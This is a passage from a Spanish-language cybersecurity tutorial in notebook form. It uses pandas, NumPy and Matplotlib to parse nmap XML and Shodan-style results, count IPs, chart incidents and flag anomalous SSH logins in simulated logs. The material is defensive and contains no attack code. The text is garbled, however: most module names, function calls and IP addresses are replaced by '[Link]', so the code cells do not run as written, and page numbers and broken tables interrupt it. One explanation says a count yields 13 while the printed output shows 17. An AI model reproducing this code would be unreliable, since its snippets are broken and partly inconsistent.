Aplicamos lo aprendido en el módulo anterior para leer un string.

In [278]:
import [Link] as ET
root = [Link](nmap_result)

Importamos la librería de la siguiente manera para usar Pandas.

In [279]:
import pandas as pd

Creamos unas listas vacías para almacenar los datos del escaneo de nmap.

In [280]:
addresses = []
ports = []
services = []

Recorrimos el XML en búsqueda de su estructura para guardar los datos del escaneo.

In [281]:
for host in [Link]('.//host'):
address = [Link]('.//address').get('addr')
for port in [Link]('.//port'):
port_id = [Link]('portid')
state = [Link]('state').get('state')
service = [Link]('service')
service_name = [Link]('name')
service_product = [Link]('product')
service_version = [Link]('version')
[Link](address)
[Link](port_id)
[Link]((service_name, service_product, service_version, state))

119
Creamos un Dataframe para dar estructura a los datos e ingresamos las variables del escaneo para
finalmente terminar mostramos el dataframe con su resultado.

In [282]:
df = [Link]({'IP Address': addresses,
'Port': ports,
'Service Name': [s[0] for s in services],
'Product': [s[1] for s in services],
'Version': [s[2] for s in services],
'State': [s[3] for s in services]})

print(df)

IP Address Port Service Name Product Version State


0 [Link] 22 ssh OpenSSH 7.2p2 open
1 [Link] 80 http Apache 2.4.18 open
2 [Link] 80 http Nginx 1.18.0 open

Ya viendo el resultado final, nos podemos imaginar que hace pandas y a que se refiere con un Dataframe, en
mi caso me gusta imaginar un Dataframe, es como una hoja de cálculo Excel que puedes utilizar para
buscar, filtrar, hacer consultas, eliminar registros de manera estructurada y ordenada, además que también,
permite la lectura de por ejemplo CSV, Excel, SQL, JSON de forma nativa sin necesidad de instalar un motor
de base de datos por ejemplo.

Para nosotros que trabajamos en ciberseguridad, saber utilizar esta librería nos da gran ventaja al momento
de procesar datos y sacar provecho a esta librería, en estos momentos, la usan muchos ingenieros de datos
en el análisis científico o en la IA, pero poco se usa en el mundo tan técnico como el hacking o la
ciberseguridad en general.

Veamos otro ejemplo para ir aprendiendo más de su uso, imaginemos que tenemos una serie de
vulnerabilidades en uno de los sistemas que estamos auditando y queremos saber cuáles de todas las
vulnerabilidades encontradas son las más criticas para comenzar a reducir las brechas de seguridad en la
compañía.

In [283]:
import pandas as pd

data = {'Vulnerabilidad': ['CVE-2021-1234', 'CVE-2021-5678', 'CVE-2021-9012',


'CVE-2021-3456'],'Severidad': ['Crítica', 'Alta', 'Media', 'Crítica']}

tomamos el objeto anterior y lo transformamos a un dataframe, filtramos por severidad y solo vamos a
seleccionar las que sean igual a críticas

In [284]:
df = [Link](data)

120
vulnerabilidades_criticas = df[df['Severidad'] == 'Crítica']

print(vulnerabilidades_criticas)

Vulnerabilidad Severidad
0 CVE-2021-1234 Crítica
3 CVE-2021-3456 Crítica

Para ser una búsqueda en un objeto, se puede apreciar lo fácil que es hacer un filtro de búsqueda por un
atributo en específico.

Supongamos ahora que tenemos que hacer un resumen de los incidentes de seguridad de una empresa
donde tenemos fechas y tipos de incidentes.

In [285]:
import pandas as pd

data = {'Tipo': ['Malware', 'Phishing', 'DDoS', 'Malware', 'Phishing'],


'Fecha': ['2022-01-15', '2022-02-03', '2022-03-20', '2022-04-10',
'2022-05-05']}

Si deseamos contar la cantidad de incidentes basta con agregar la funcion value_counts() y podemos
agrupar y contar los incidentes por sus respectivos tipos, algo muy parecido en SQL con la palabra reservada
GROUP BY

In [286]:
df = [Link](data)
incidentes_por_tipo = df['Tipo'].value_counts()

print(incidentes_por_tipo)

Tipo
Malware 2
Phishing 2
DDoS 1
Name: count, dtype: int64

Finalmente, hagamos un ejemplo de cantidad de ataques en una organización donde tendremos tipos de
ataques y cantidad de ataques y se nos pide graficarlos para mostrarlos en un comité de riesgos.

In [287]:
import pandas as pd
import [Link] as plt

data = {'Tipo de Ataque': ['Phishing', 'DDoS', 'Malware', 'Phishing', 'Ransomware'],

121
'Cantidad': [50, 30, 40, 60, 20]}
df = [Link](data)

Los datos los trabajamos directamente y definimos un dataframe.

In [288]:
print(df)

Tipo de Ataque Cantidad


0 Phishing 50
1 DDoS 30
2 Malware 40
3 Phishing 60
4 Ransomware 20

Creamos un gráfico de barras, le indicamos la variable y el nombre de la columna a graficar y listo.

In [289]:
[Link](x='Tipo de Ataque', y='Cantidad', kind='bar')
[Link]('Tipo de Ataque')
[Link]('Cantidad')
[Link]('Ataques por Tipo')
[Link]()

122
Tenemos un gráfico muy rápido y solo en unas pocas líneas de código.

Un caso un poco más real para soltar la mano, sería poniéndonos en una situación hipotética donde, nos
piden tomar los resultados de shodan y graficar la cantidad de hallazgos encontrados para un estudio de
ciberseguridad.

El ejemplo sería el siguiente:

In [290]:
import pandas as pd
import [Link] as plt

shodan_response = {
"matches": [
{
"ip_str": "[Link]",
"port": 80,
"organization": "Example Corp",
"vulns": [
"CVE-2020-1234",
"CVE-2020-5678"
]
},
{
"ip_str": "[Link]",
"port": 22,
"organization": "Sample Inc",
"vulns": [
"CVE-2021-4321"
]
},
{
"ip_str": "[Link]",
"port": 443,
"organization": "Internal Server",
"vulns": [
"CVE-2019-8765"
]
},
{
"ip_str": "[Link]",
"port": 8080,
"organization": "Local Network",
"vulns": [
"CVE-2018-1111"
]
},
{
"ip_str": "[Link]",
"port": 3389,
"organization": "Internal Server",

123
"vulns": [
"CVE-2017-2222"
]
},
{
"ip_str": "[Link]",
"port": 21,
"organization": "FTP Service",
"vulns": [
"CVE-2022-9999"
]
}
]
}

Miren esta maravilla, podemos tomar directamente la respuesta de shodan que le realizamos a la API y
pasarla sin gran esfuerzo a un dataframe:

In [291]:
df = [Link](shodan_response['matches'])

La podemos visualizar inmediatamente lo que es una verdadera belleza.

In [292]:
df

Out[292]:

ip_str port organization vulns

Example [CVE-2020-1234,
0 [Link] 80
Corp CVE-2020-5678]

198.51.100.
1 22 Sample Inc [CVE-2021-4321]
2

124
Internal
2 [Link] 443 [CVE-2019-8765]
Server

808 Local
3 [Link] [CVE-2018-1111]
0 Network

338 Internal
4 [Link] [CVE-2017-2222]
9 Server

[Link]
5 21 FTP Service [CVE-2022-9999]
0

Y finalmente, ya transformada en un objeto, la podemos visualizar en un gráfico ordenándola, por ejemplo,


por el número de hosts encontrados en internet.

In [293]:
organization_counts = df['organization'].value_counts()
organization_counts.plot(kind='bar', color='royalblue')
[Link]('Organización')
[Link]('Número de Hosts')
[Link]('Número de Hosts por Organización')
[Link](rotation=45)
plt.tight_layout()

[Link]()

125
Numpy
Imaginemos NumPy como una forma de ampliar lo que Python puede hacer con números… algo así como
agregarle un módulo extra para trabajar con operaciones matemáticas de forma rápida y eficiente. NumPy
fue creada precisamente para eso, manejar matrices, vectores y cálculos numéricos sin que tengamos que
escribir todo a mano.

Su nombre viene de Numerical Python… y en la práctica se siente así, directo, preciso y muy útil cuando los
datos empiezan a crecer más de la cuenta.

En ciberseguridad podemos ocupar NumPy en varios escenarios:

●​ cuando procesamos grandes volúmenes de datos,


●​ cuando recibimos matrices distintas y necesitamos mezclarlas o compararlas,
●​ cuando queremos correr simulaciones,
●​ o cuando trabajamos con Machine Learning para detección de patrones, anomalías o clasificación.

También aparece en procesamiento de imágenes, señales y análisis estadísticos que apoyan tareas de
investigación.

NumPy no intenta ser mágico, simplemente hace que operaciones que serían lentas o complejas en Python
común, funcionen rápido y de manera ordenada. Eso es todo… y con eso basta para que uno lo termine
usando más seguido de lo que esperaba.

126
Ahora veamos un ejemplo sencillo importando la librería import numpy y renombrándola a np con la
palabra reservada as, en términos simples, significa, tomo la librería numpy y la voy a llamar con el nombre
np cada vez que la quiera usar (Puede ser cualquier nombre que elijamos):

# import numpy as np

ejemplo:

In [294]:
import numpy as np

Una vez importada la librería, vamos a crear un arreglo que contenga varias direcciones IPs para usarlas en
el ejemplo:

In [295]:
ip_addr = [Link](['[Link]', '[Link]', '[Link]', '[Link]',
'[Link]'])

Ahora imaginemos que nos piden en nuestro trabajo contar la frecuencia que se repite un dirección IP para
saber si la empresa se encuentra bajo un ataque de diccionario:

In [296]:
cant_ips, conteo = [Link](ip_addr, return_counts=True)

La función [Link]() ,es útil cuando necesitamos identificar los valores únicos de una matriz y
usarlos para un procesamiento posterior... cómo contar ocurrencias o filtrar duplicados.

Mirando lo que contienen estas variables podemos ver su resultado, en este caso, filtró los duplicados y dejo
solamente que existían estas Ips como únicas dentro del arreglo ['[Link]', '[Link]',
'[Link]']

In [297]:
cant_ips

Out[297]:
array(['[Link]', '[Link]', '[Link]'], dtype='<U11')

Podemos ver en el ejemplo anterior, que Numpy nos retorna un dtype, lo que significa que esta librería
intenta adivinar el contenido del arreglo, por ejemplo... recibimos un dtype=<U11 que se traduce que el tipo
de dato es formato Unicode y que contiene 11 caracteres.

In [298]:
conteo

Out[298]:

127
array([2, 2, 1])
In [300]:
print("Direcciones IP Únicas:", cant_ips)
print("Frecuencia de cada IP:", conteo)

Direcciones IP Únicas: ['[Link]' '[Link]' '[Link]']


Frecuencia de cada IP: [2 2 1]

Ahora si queremos unir dos listas o tuplas, se puede usar la función zip()... que nos permite unir las
direcciones IPs y la frecuencia de cuantas veces aparece, esto lo vemos en :

zip(cant_ips, conteo)

Luego, se toman el resultado y se transforma esta unión en un diccionario dict(zip(cant_ips,


conteo)) mejorar su manipulación posterior:

In [301]:
union_res = dict(zip(cant_ips, conteo))

Vemos que el resultado está correcto… imprimiendo nuestro diccionario tal como lo esperábamos. Esto nos
confirma que la estructura quedó bien armada y que los datos fueron cargados sin problemas..

In [302]:
union_res

Out[302]:
{np.str_('[Link]'): np.int64(2),
np.str_('[Link]'): np.int64(2),
np.str_('[Link]'): np.int64(1)}

Finalmente, recorremos los registros con un for para ir enumerando los resultados por pantalla… una forma
simple y ordenada de revisar qué se generó y confirmar que todos los datos quedaron como esperábamos.

In [303]:
for resp_ips in union_res:
print("Dirección IP :", resp_ips , " Cantidad : " , union_res[resp_ips])

Dirección IP : [Link] Cantidad : 2


Dirección IP : [Link] Cantidad : 2
Dirección IP : [Link] Cantidad : 1

Para el próximo ejemplo vamos a hacer algo parecido al anterior… pero con un poco más de complejidad.
Esta vez vamos a usar NumPy para generar direcciones IP aleatorias y así tener muchos más datos
disponibles cuando necesitemos hacer pruebas, alimentar un script… o simplemente crear un conjunto
grande de información para simular ataques con datos random.

128
La idea es práctica: a veces necesitamos volumen… muchas direcciones… muchas combinaciones… y
generarlas a mano no tiene ningún sentido. Con NumPy esto se vuelve rápido, limpio… y bastante útil
cuando estamos trabajando desde un Jupyter Notebook probando distintas ideas.

Vamos al ejemplo….

In [304]:
import numpy as np

ip_addresses = [Link](['[Link]', '[Link]', '[Link]'],


size=1000)

Esta función genera datos aleatorios en base a una lista que tú elijas. En el primer parámetro de entrada va
tu lista de opciones… y el segundo parámetro recibe el tamaño del arreglo, por ejemplo:
[Link](lista,tamaño)

Suponiendo que queremos generar 1000 registros aleatorios de 3 direcciones IP, la función queda de esta
manera: [Link](['[Link]', '[Link]', '[Link]'],
size=1000)

Ahora comprobamos que están generados los datos… contando el arreglo con len(). len()

In [305]:
len(ip_addresses)

Out[305]:
1000

Hacemos lo mismo del primer ejemplo… seleccionando las IPs únicas generadas… y retornamos cuántas
veces se repite su frecuencia.

In [306]:
unique_ips, counts = [Link](ip_addresses, return_counts=True)

In [307]:
print("Direcciones IP Únicas:", unique_ips)
print("Frecuencia de cada IP:", counts)

Direcciones IP Únicas: ['[Link]' '[Link]' '[Link]']


Frecuencia de cada IP: [336 332 332]

Si queremos graficar los resultados, podemos usar el siguiente ejemplo…

In [308]:
import [Link] as plt

129
[Link](figsize=(10, 5))
[Link](unique_ips, counts, color='red')

[Link]('Direcciones IP')
[Link]('Conteo')
[Link]('Conteo de Direcciones IP Únicas')
[Link](rotation=45)

plt.tight_layout()
[Link]()

Ahora… buscaremos hacer un ejercicio mucho más entretenido, una simulación de logs de SSH, donde
tendremos que identificar patrones anómalos en los registros y descubrir al atacante. Es un caso práctico
que se acerca bastante a lo que hacemos en análisis de incidentes… pero aquí lo veremos de manera
simple, solo para entender el flujo y los datos.

Partiremos importando NumPy…

In [309]:
import numpy as np

Crearemos una serie de registros de logs… imaginándonos que ya fueron parseados y formateados desde
un archivo [Link]. El contenido de este archivo será una simulación de ataques a un servicio SSH que
debemos investigar… como si estuviéramos revisando un incidente real y necesitáramos identificar qué
ocurrió en esos intentos de conexión.

In [310]:
access_logs_ssh = [
{'timestamp': '2024-05-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-05-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin','status': 'success'},

130
{'timestamp': '2024-06-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-06-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin','status': 'success'},
{'timestamp': '2024-06-15T08:10:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:00:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T08:05:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:10:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:15:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T08:20:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T08:25:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T08:30:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T08:35:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:40:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T08:45:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'failure'},
{'timestamp': '2024-07-15T08:50:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'success'},
{'timestamp': '2024-07-15T08:55:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'failure'},
{'timestamp': '2024-07-15T09:00:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T09:05:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:10:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},
{'timestamp': '2024-07-15T09:15:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'success'},
{'timestamp': '2024-07-15T09:20:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:01', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:25:00', 'ip_address': '[Link]', 'username':
'user3', 'status': 'success'},
{'timestamp': '2024-07-15T09:30:00', 'ip_address': '[Link]', 'username':
'user1', 'status': 'success'},

131
{'timestamp': '2024-07-15T09:35:00', 'ip_address': '[Link]', 'username': 'admin',
'status': 'failure'},
{'timestamp': '2024-07-15T09:40:00', 'ip_address': '[Link]', 'username':
'user2', 'status': 'success'},
]

Imprimamos los registros de logs… para verificar que todo está en orden.

In [311]:
print("Registros de access logs SSH:")
for i, log in enumerate(access_logs_ssh):
print(f"Registro {i + 1}: {log}")

Registros de access logs SSH:


Registro 1: {'timestamp': '2024-05-15T08:00:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 2: {'timestamp': '2024-05-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'success'}
Registro 3: {'timestamp': '2024-06-15T08:00:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 4: {'timestamp': '2024-06-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'success'}
Registro 5: {'timestamp': '2024-06-15T08:10:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'failure'}
Registro 6: {'timestamp': '2024-07-15T08:00:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 7: {'timestamp': '2024-07-15T08:05:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'success'}
Registro 8: {'timestamp': '2024-07-15T08:10:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'failure'}
Registro 9: {'timestamp': '2024-07-15T08:15:00', 'ip_address': '[Link]',
'username': 'user3', 'status': 'success'}
Registro 10: {'timestamp': '2024-07-15T08:20:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 11: {'timestamp': '2024-07-15T08:25:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 12: {'timestamp': '2024-07-15T08:30:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'failure'}
Registro 13: {'timestamp': '2024-07-15T08:35:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'success'}
Registro 14: {'timestamp': '2024-07-15T08:40:00', 'ip_address': '[Link]',
'username': 'user3', 'status': 'success'}
Registro 15: {'timestamp': '2024-07-15T08:45:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'failure'}
Registro 16: {'timestamp': '2024-07-15T08:50:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'success'}
Registro 17: {'timestamp': '2024-07-15T08:55:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'failure'}
Registro 18: {'timestamp': '2024-07-15T09:00:00', 'ip_address': '[Link]',
'username': 'user3', 'status': 'success'}
Registro 19: {'timestamp': '2024-07-15T09:05:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}

132
Registro 20: {'timestamp': '2024-07-15T09:10:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 21: {'timestamp': '2024-07-15T09:15:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'success'}
Registro 22: {'timestamp': '2024-07-15T09:20:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 23: {'timestamp': '2024-07-15T09:20:01', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 24: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 25: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 26: {'timestamp': '2024-07-15T09:20:02', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 27: {'timestamp': '2024-07-15T09:25:00', 'ip_address': '[Link]',
'username': 'user3', 'status': 'success'}
Registro 28: {'timestamp': '2024-07-15T09:30:00', 'ip_address': '[Link]',
'username': 'user1', 'status': 'success'}
Registro 29: {'timestamp': '2024-07-15T09:35:00', 'ip_address': '[Link]', 'username':
'admin', 'status': 'failure'}
Registro 30: {'timestamp': '2024-07-15T09:40:00', 'ip_address': '[Link]',
'username': 'user2', 'status': 'success'}

Ahora… resumiremos una función que itere en los registros de logs, buscando los intentos success y los
sume. Para esto, simplemente preguntaremos si log['status'] == 'success'… y, si es así, lo contamos.

In [312]:
success_count = 0
for log in access_logs_ssh:
if log['status'] == 'success':
success_count +=1

Si vemos lo que tiene dentro la variable success_count… nos entregará 13 registros.

In [313]:
success_count

Out[313]:
17

La misma función anterior… se podría resumir en el siguiente algoritmo, todo en una sola línea:

In [314]:
success_count = sum(1 for log in access_logs_ssh if log['status'] == 'success')

In [315]:

133
success_count

Out[315]:
17

Pasamos a contar los intentos fallidos…

In [316]:
failure_count = sum(1 for log in access_logs_ssh if log['status'] == 'failure')

Imprimimos los dos resultados:

In [317]:
print("\nCantidad de intentos de conexión SSH:")
print(f"Exitosos: {success_count}")
print(f"Fallidos: {failure_count}")

Cantidad de intentos de conexión SSH:


Exitosos: 17
Fallidos: 13

Para hacer el ejercicio más completo… usaremos matemáticas simples para detectar umbrales y medias de
logins, con la idea de identificar comportamientos anómalos dentro de los logs. Esto nos permite comparar lo
normal, con lo que se sale del patrón… y detectar actividad que podría ser sospechosa.

Usaremos también la librería de diccionarios, porque trabajar con llaves y valores hace mucho más fácil
guardar los registros… y después operar sobre ellos para análisis posteriores.

In [318]:
from collections import defaultdict

Agruparemos los registros por día… y vamos a establecer un conteo.

In [319]:
logs_by_day = defaultdict(int)
conteo = []
dias = []

Al recorrer los registros uno por uno… extraeremos el día del login, asumiendo que los datos ya vienen
formateados como YYYY-MM-DDTHH:MM:SS. En casos reales podríamos encontrarnos con otros formatos,
dependiendo de la configuración del servidor… pero para este ejemplo, la simpleza es necesaria para
resumir el ejercicio.

134
In [320]:
for log in access_logs_ssh:
day = log['timestamp'][:10] # Esto extrae la parte de 'YYYY-MM-DD'
logs_by_day[day] += 1

In [321]:
print("[-] Eventos por día:")
for day, count in logs_by_day.items():
print(f"{day}: {count} eventos")
[Link](count)
[Link](day)

[-] Eventos por día:


2024-05-15: 2 eventos
2024-06-15: 3 eventos
2024-07-15: 25 eventos

Si hubiesen más eventos en los otros días… tendríamos más agrupaciones por día. Ahora sacaremos la
media y la desviación estándar… para empezar a medir qué tan normal es el comportamiento que estamos
viendo.

In [322]:
mean_value = [Link](conteo)
std_deviation = [Link](conteo)

print("-"*20)
print(f"Media : {mean_value}")
print(f"Desviación : {std_deviation}")
print("-"*20)

--------------------
Media : 10.0
Desviación : 10.614455552060438
--------------------

In [323]:
import [Link] as plt
# Configurar umbral para detección de anomalías
threshold = mean_value + std_deviation

# Gráfico de barras para mostrar el número de solicitudes SSH por minuto


[Link](dias, conteo, color='lightblue')
[Link](y=threshold, color='red', linestyle='--', label='Umbral de Anomalía')
[Link]('Fecha')
[Link]('Ingresos SSH Diarios')
[Link]('Número de Solicitudes SSH por dias con Umbral de Anomalía')
[Link]()
[Link]()

135
Si desde aquí te dio curiosidad de cómo sería el parser de un log SSH sin formato… es algo parecido a
esto…

In [324]:
logs_text ="""
May 1 08:23:45 server1 sshd[1032]: Accepted password for alice from [Link] port
53222 ssh2
May 1 10:15:07 server1 sshd[2045]: Failed password for root from [Link] port
44123 ssh2
May 1 11:02:33 server1 sshd[3056]: Failed password for invalid user admin from
[Link] port 32234 ssh2
May 2 09:45:19 server1 sshd[4098]: Accepted password for bob from [Link] port
48766 ssh2
May 2 10:20:45 server1 sshd[5124]: Failed password for root from [Link] port
44123 ssh2
"""

Para parsearlo, lo podemos hacer mediante expresiones regulares… como las siguientes:

In [325]:
import re
from datetime import datetime

log_pattern = [Link](
r'^(?P<date>\w+ \d+ \d+:\d+:\d+) (?P<host>\w+) sshd\[\d+\]: (?P<message>.*)$'
)

136
Creamos una función para parsear el texto línea por línea… y procedemos a imprimir el resultado en la
misma iteración.

In [326]:
for line_t in logs_text.splitlines():
match_regx = log_pattern.match(line_t)
if match_regx:
date_str = match_regx.group('date')
date = [Link](date_str, '%b %d %H:%M:%S')
message = match_regx.group('message')
ip_match = [Link](r'\b(?:\d{1,3}\.){3}\d{1,3}\b', message) # Buscar la
dirección IP en el mensaje
if ip_match:
ip_address = ip_match.group()
else:
ip_address = None

print("-"*100)
print("[- Fecha] " + str([Link](year=[Link]().year)))
print("[- Host] " + match_regx.group('host'))
print("[- msj] " + message)
print("[- Ip] " + ip_address)

---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 08:23:45
[- Host] server1
[- msj] Accepted password for alice from [Link] port 53222 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 10:15:07
[- Host] server1
[- msj] Failed password for root from [Link] port 44123 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-01 11:02:33
[- Host] server1
[- msj] Failed password for invalid user admin from [Link] port 32234 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-02 09:45:19
[- Host] server1
[- msj] Accepted password for bob from [Link] port 48766 ssh2
[- Ip] [Link]
---------------------------------------------------------------------------------------
-------------
[- Fecha] 2025-05-02 10:20:45

137
[- Host] server1
[- msj] Failed password for root from [Link] port 44123 ssh2
[- Ip] [Link]

El próximo módulo será de expresiones regulares, por si no entendiste el código anterior… dedicaré un
apartado exclusivo para eso, para ojalá dar una buena base de su uso.

Y, para darle un buen final a este módulo de NumPy….. crearemos un ejercicio donde simularemos datos
comunes en una empresa que tiene un área de ciberseguridad. Para esto inventaremos 9 indicadores
macros… y generaremos registros para 12 meses, para finalmente graficarlo.

In [327]:
import [Link] as plt
import numpy as np

Simulación de datos mensuales para los 10 indicadores

In [328]:
meses = [Link](1, 13)
registros_siem = [Link](1000, 5000, size=12)
ataques_bloqueados = [Link](100, 1000, size=12)
phishing_bloqueados = [Link](50, 500, size=12)
eventos_anomalos = [Link](200, 1500, size=12)
registros_antimalware = [Link](500, 2000, size=12)
servidores = [Link](10, 100, size=12)
vulnerabilidades_criticas = [Link](5, 50, size=12)
vulnerabilidades_repositorios = [Link](20, 200, size=12)
total_repositorios = [Link](50, 500, size=12)

Y procedemos a graficarlos:

In [329]:
[Link](figsize=(14, 10))

[Link](3, 4, 1)
[Link](meses, registros_siem, marker='o')
[Link]('Registros del SIEM')

[Link](3, 4, 2)
[Link](meses, ataques_bloqueados, marker='o')
[Link]('Ataques Bloqueados')

[Link](3, 4, 3)
[Link](meses, phishing_bloqueados, marker='o')

138
[Link]('Phishing Bloqueados')

[Link](3, 4, 4)
[Link](meses, eventos_anomalos, marker='o')
[Link]('Eventos Anómalos')

[Link](3, 4, 5)
[Link](meses, registros_antimalware, marker='o')
[Link]('Registros de Antimalware')

[Link](3, 4, 6)
[Link](meses, servidores, marker='o')
[Link]('Cantidad de Servidores')

[Link](3, 4, 7)
[Link](meses, vulnerabilidades_criticas, marker='o')
[Link]('Vulnerabilidades Críticas')

[Link](3, 4, 8)
[Link](meses, vulnerabilidades_repositorios, marker='o')
[Link]('Vulnerabilidades en Repositorios')

[Link](3, 4, 9)
[Link](meses, total_repositorios, marker='o')
[Link]('Total de Repositorios')

plt.tight_layout()
[Link]()

Si quisiéramos sacar la efectividad de los controles, por ejemplo… podríamos usar esta ecuación…

In [330]:
porcentaje_efectividad_ataques = (ataques_bloqueados / ataques_bloqueados.sum()) * 100
porcentaje_efectividad_phishing = (phishing_bloqueados / phishing_bloqueados.sum()) *
100
porcentaje_eventos_anomalos = (eventos_anomalos / eventos_anomalos.sum()) * 10

Graficamos los nuevos datos:

In [331]:
[Link](figsize=(12, 6))

[Link](meses, porcentaje_efectividad_ataques, label='Efectividad de Ataques')

139
[Link](meses, porcentaje_efectividad_phishing, label='Efectividad de Phishing',
alpha=0.5)
[Link](meses, porcentaje_eventos_anomalos, label='Eventos Anómalos', alpha=0.5)

[Link]('Indicadores Globales Mensuales')


[Link]('Mes')
[Link]('Porcentaje')
[Link]()
[Link](True)
[Link]()

140
Matplotlib
Matplotlib es una de esas librerías que… cuando recién estás partiendo.... se siente como... ah, ya, otra
herramienta para hacer gráficos. Pero en ciberseguridad... créeme, puede marcar la diferencia entre mirar un
montón de números en bruto y entender realmente qué está pasando en tu entorno.

Python por sí solo ya es potente.... pero cuando mezclas datos, logs, patrones y comportamiento...
visualizarlos te permite detectar cosas que, a simple vista, pasan piola.

Antes de pasar al siguiente gráfico, hagamos un ejemplo sencillo… algo que podrías encontrarte en cualquier
reporte de seguridad. Imaginemos que acabamos de terminar un scan y queremos visualizar rápidamente
cuántas vulnerabilidades encontramos por categoría. Nada del otro mundo… pero muy útil cuando quieres
ver de un vistazo dónde está el mayor dolor de cabeza.

Con eso en mente… construyamos un gráfico de barras que muestre los tipos de vulnerabilidades y su
cantidad:

In [332]:
import [Link] as plt

vulnerabilities = ['SQL Injection', 'XSS', 'CSRF', 'RCE', 'Directory Traversal']


counts = [23, 12, 5, 8, 3]

[Link](vulnerabilities, counts, color='blue')


[Link]('Vulnerabilidades Detectadas')
[Link]('Número de Vulnerabilidades')
[Link]('Tipo de Vulnerabilidad')
[Link]()

141
Sigamos con otro caso típico… los honeypots. Cuando levantamos uno, siempre terminamos con un montón
de ataques distintos dando vueltas… y a veces cuesta hacerse una idea rápida de cuál está pegando más
fuerte.

Para eso… un gráfico circular funciona perfecto. Nos permite ver la distribución de ataques de manera
visual… sin tener que calcular mentalmente qué porcentaje representa cada uno.

Probemos con un ejemplo sencillo:

In [333]:
attacks = ['DDoS', 'Phishing', 'Ransomware', 'Brute Force', 'Man-in-the-Middle']
percentages = [30, 25, 20, 15, 10]

[Link](percentages, labels=attacks, autopct='%1.1f%%')


[Link]('Distribución de Ataques en Honeypot')
[Link]()

Ahora… pensemos en un caso súper común en cualquier SOC o CSIRT: ver cómo evolucionan los intentos
de ataque a lo largo del tiempo. A veces los números suben sin que nadie se dé cuenta… otras veces hay un
pico sospechoso que te deja con cara de, mmm… esto no debería estar pasando. Para visualizar ese tipo de
comportamiento, una gráfica de línea funciona perfecto, te muestra de inmediato la tendencia y cualquier
cambio extraño en el patrón.

Aquí tienes un ejemplo sencillo:

In [334]:
time = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
attempts = [10, 50, 70, 40, 90, 110]

142
[Link](time, attempts, marker='o')
[Link]('Intentos de Ataque a lo Largo del Tiempo')
[Link]('Intentos de Ataque')
[Link]('Meses')
[Link]()

Otro caso muy útil en ciberseguridad… es analizar cómo cambia nuestro tiempo de respuesta dependiendo
de la gravedad del incidente. Porque una cosa es reaccionar rápido a un phishing menor… y otra muy
distinta es cuando tienes un RCE en producción y todo el equipo corre como si se hubiese caído la Fuerza.

